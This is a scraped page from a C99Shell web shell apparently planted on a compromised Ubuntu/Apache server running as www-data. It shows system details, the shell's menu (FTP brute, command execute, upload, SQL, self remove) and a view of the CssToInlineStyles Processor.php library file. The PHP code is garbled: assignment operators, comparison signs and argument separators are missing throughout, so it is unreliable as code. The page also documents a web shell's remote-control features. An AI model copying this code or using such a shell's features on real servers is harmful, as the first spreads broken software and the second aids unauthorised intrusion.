!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/tijsverkoyen/css-to-inline-styles/src/Css/Property/   drwxrwxrwx
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Processor.php (3.12 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace TijsVerkoyen\CssToInlineStyles\Css\Property;

use 
Symfony\Component\CssSelector\Node\Specificity;

class 
Processor
{
    
/**
     * Split a string into separate properties
     *
     * @param string $propertiesString
     *
     * @return string[]
     */
    
public function splitIntoSeparateProperties($propertiesString)
    {
        
$propertiesString $this->cleanup($propertiesString);

        
$properties = (array) explode(';'$propertiesString);
        
$keysToRemove = array();
        
$numberOfProperties count($properties);

        for (
$i 0$i $numberOfProperties$i++) {
            
$properties[$i] = trim($properties[$i]);

            
// if the new property begins with base64 it is part of the current property
            
if (isset($properties[$i 1]) && strpos(trim($properties[$i 1]), 'base64,') === 0) {
                
$properties[$i] .= ';' trim($properties[$i 1]);
                
$keysToRemove[] = $i 1;
            }
        }

        if (!empty(
$keysToRemove)) {
            foreach (
$keysToRemove as $key) {
                unset(
$properties[$key]);
            }
        }

        return 
array_values($properties);
    }

    
/**
     * @param string $string
     *
     * @return string
     */
    
private function cleanup($string)
    {
        
$string str_replace(array("\r""\n"), ''$string);
        
$string str_replace(array("\t"), ' '$string);
        
$string str_replace('"''\''$string);
        
$string preg_replace('|/\*.*?\*/|'''$string);
        
$string preg_replace('/\s\s+/'' '$string);

        
$string trim($string);
        
$string rtrim($string';');

        return 
$string;
    }

    
/**
     * Converts a property-string into an object
     *
     * @param string $property
     *
     * @return Property|null
     */
    
public function convertToObject($propertySpecificity $specificity null)
    {
        if (
strpos($property':') === false) {
            return 
null;
        }

        list(
$name$value) = explode(':'$property2);

        
$name trim($name);
        
$value trim($value);

        if (
$value === '') {
            return 
null;
        }

        return new 
Property($name$value$specificity);
    }

    
/**
     * Converts an array of property-strings into objects
     *
     * @param string[] $properties
     *
     * @return Property[]
     */
    
public function convertArrayToObjects(array $propertiesSpecificity $specificity null)
    {
        
$objects = array();

        foreach (
$properties as $property) {
            
$object $this->convertToObject($property$specificity);
            if (
$object === null) {
                continue;
            }

            
$objects[] = $object;
        }

        return 
$objects;
    }

    
/**
     * Build the property-string for multiple properties
     *
     * @param Property[] $properties
     *
     * @return string
     */
    
public function buildPropertiesString(array $properties)
    {
        
$chunks = array();

        foreach (
$properties as $property) {
            
$chunks[] = $property->toString();
        }

        return 
implode(' '$chunks);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--